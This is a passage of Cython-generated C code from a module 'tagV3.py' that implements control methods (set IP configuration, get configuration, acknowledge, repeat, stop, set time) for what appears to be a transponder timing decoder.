__Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 402, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_v_crc = __pyx_t_1; __pyx_t_1 = 0; /* "tagV3.py":403 * # command: ESC + 0x09 + 0x09 + [IPCONFIG] + [CRC] + '>' * crc = crc16( bytearray( cfg.encode() ) ) * self.sendCmd( self.cmd['Set IP Config']%(cfg, crc) ) # <<<<<<<<<<<<<< * # response: XPORT specific (TBC) * def getConfig( self ): */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_sendCmd); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 403, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_cmd); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 403, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = PyObject_GetItem(__pyx_t_5, __pyx_kp_u_Set_IP_Config); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 403, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = PyTuple_New(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 403, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_INCREF(__pyx_v_cfg); __Pyx_GIVEREF(__pyx_v_cfg); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_v_cfg); __Pyx_INCREF(__pyx_v_crc); __Pyx_GIVEREF(__pyx_v_crc); PyTuple_SET_ITEM(__pyx_t_5, 1, __pyx_v_crc); __pyx_t_4 = PyNumber_Remainder(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 403, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 403, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 403, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 403, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 403, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 403, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":398 * crc = crc16( bytearray( cfg.encode() ) ) * self.sendCmd( self.cmd['Set Config']%(cfg, crc) ) * def setIPConfig( self, cfg ): # <<<<<<<<<<<<<< * # Update decoder IP configuration. Note: Decoder must be stopped * # before issuing this command (why?) */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_AddTraceback("tagV3.decoder.setIPConfig", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_crc); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "tagV3.py":405 * self.sendCmd( self.cmd['Set IP Config']%(cfg, crc) ) * # response: XPORT specific (TBC) * def getConfig( self ): # <<<<<<<<<<<<<< * # Fetch current decoder configuration & identification * # command: ESC + 0x10 */ /* Python wrapper */ static PyObject *__pyx_pw_5tagV3_7decoder_13getConfig(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_5tagV3_7decoder_13getConfig = {"getConfig", (PyCFunction)__pyx_pw_5tagV3_7decoder_13getConfig, METH_O, 0}; static PyObject *__pyx_pw_5tagV3_7decoder_13getConfig(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("getConfig (wrapper)", 0); __pyx_r = __pyx_pf_5tagV3_7decoder_12getConfig(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_5tagV3_7decoder_12getConfig(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; __Pyx_RefNannySetupContext("getConfig", 0); /* "tagV3.py":408 * # Fetch current decoder configuration & identification * # command: ESC + 0x10 * self.sendCmd( self.cmd['Get Config'] ) # <<<<<<<<<<<<<< * # response: [DECODERCONF] * # */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_sendCmd); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 408, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_cmd); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 408, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = PyObject_GetItem(__pyx_t_3, __pyx_kp_u_Get_Config); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 408, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 408, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 408, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 408, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 408, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 408, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":405 * self.sendCmd( self.cmd['Set IP Config']%(cfg, crc) ) * # response: XPORT specific (TBC) * def getConfig( self ): # <<<<<<<<<<<<<< * # Fetch current decoder configuration & identification * # command: ESC + 0x10 */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_AddTraceback("tagV3.decoder.getConfig", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "tagV3.py":411 * # response: [DECODERCONF] * # * def acknowledge( self ): # <<<<<<<<<<<<<< * # Acknowledge last passing sent by decoder/flag ready for next passing * # command: ESC + 0x11 */ /* Python wrapper */ static PyObject *__pyx_pw_5tagV3_7decoder_15acknowledge(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_5tagV3_7decoder_15acknowledge = {"acknowledge", (PyCFunction)__pyx_pw_5tagV3_7decoder_15acknowledge, METH_O, 0}; static PyObject *__pyx_pw_5tagV3_7decoder_15acknowledge(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("acknowledge (wrapper)", 0); __pyx_r = __pyx_pf_5tagV3_7decoder_14acknowledge(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_5tagV3_7decoder_14acknowledge(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; __Pyx_RefNannySetupContext("acknowledge", 0); /* "tagV3.py":414 * # Acknowledge last passing sent by decoder/flag ready for next passing * # command: ESC + 0x11 * self.sendCmd( self.cmd['Acknowledge'] ) # <<<<<<<<<<<<<< * # response: none or [PASSING] * # */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_sendCmd); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 414, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_cmd); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 414, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = PyObject_GetItem(__pyx_t_3, __pyx_n_u_Acknowledge); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 414, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 414, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 414, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 414, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 414, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 414, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":411 * # response: [DECODERCONF] * # * def acknowledge( self ): # <<<<<<<<<<<<<< * # Acknowledge last passing sent by decoder/flag ready for next passing * # command: ESC + 0x11 */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_AddTraceback("tagV3.decoder.acknowledge", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "tagV3.py":417 * # response: none or [PASSING] * # * def repeat( self ): # <<<<<<<<<<<<<< * # Repeat first unacknowledged passing, else last acknowledged passing * # command: ESC + 0x12 */ /* Python wrapper */ static PyObject *__pyx_pw_5tagV3_7decoder_17repeat(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_5tagV3_7decoder_17repeat = {"repeat", (PyCFunction)__pyx_pw_5tagV3_7decoder_17repeat, METH_O, 0}; static PyObject *__pyx_pw_5tagV3_7decoder_17repeat(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("repeat (wrapper)", 0); __pyx_r = __pyx_pf_5tagV3_7decoder_16repeat(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_5tagV3_7decoder_16repeat(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; __Pyx_RefNannySetupContext("repeat", 0); /* "tagV3.py":420 * # Repeat first unacknowledged passing, else last acknowledged passing * # command: ESC + 0x12 * self.sendCmd( self.cmd['Repeat'] ) # <<<<<<<<<<<<<< * # response: [PASSING] * # */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_sendCmd); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 420, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_cmd); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 420, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = PyObject_GetItem(__pyx_t_3, __pyx_n_u_Repeat); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 420, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 420, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 420, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 420, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 420, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 420, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":417 * # response: none or [PASSING] * # * def repeat( self ): # <<<<<<<<<<<<<< * # Repeat first unacknowledged passing, else last acknowledged passing * # command: ESC + 0x12 */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_AddTraceback("tagV3.decoder.repeat", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "tagV3.py":423 * # response: [PASSING] * # * def stop( self ): # <<<<<<<<<<<<<< * # Stop decoder * # command: ESC + 0x13 + '\' */ /* Python wrapper */ static PyObject *__pyx_pw_5tagV3_7decoder_19stop(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_5tagV3_7decoder_19stop = {"stop", (PyCFunction)__pyx_pw_5tagV3_7decoder_19stop, METH_O, 0}; static PyObject *__pyx_pw_5tagV3_7decoder_19stop(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("stop (wrapper)", 0); __pyx_r = __pyx_pf_5tagV3_7decoder_18stop(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_5tagV3_7decoder_18stop(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; __Pyx_RefNannySetupContext("stop", 0); /* "tagV3.py":426 * # Stop decoder * # command: ESC + 0x13 + '\' * self.sendCmd( self.cmd['Stop'] ) # <<<<<<<<<<<<<< * # response: [STOP] (even if already stopped) * # */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_sendCmd); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 426, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_cmd); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 426, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = PyObject_GetItem(__pyx_t_3, __pyx_n_u_Stop); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 426, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 426, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 426, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 426, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 426, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 426, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":423 * # response: [PASSING] * # * def stop( self ): # <<<<<<<<<<<<<< * # Stop decoder * # command: ESC + 0x13 + '\' */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_AddTraceback("tagV3.decoder.stop", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "tagV3.py":429 * # response: [STOP] (even if already stopped) * # * def setTime( self , cfg ): # <<<<<<<<<<<<<< * # Update decoder time of day - also sets running time if decoder * # started and config option "Running time to time of decoder" set */ /* Python wrapper */ static PyObject *__pyx_pw_5tagV3_7decoder_21setTime(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_5tagV3_7decoder_21setTime = {"setTime", (PyCFunction)__pyx_pw_5tagV3_7decoder_21setTime, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_5tagV3_7decoder_21setTime(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_self = 0; PyObject *__pyx_v_cfg = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("setTime (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_cfg,0}; PyObject* values[2] = {0,0}; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 2: values[1] = 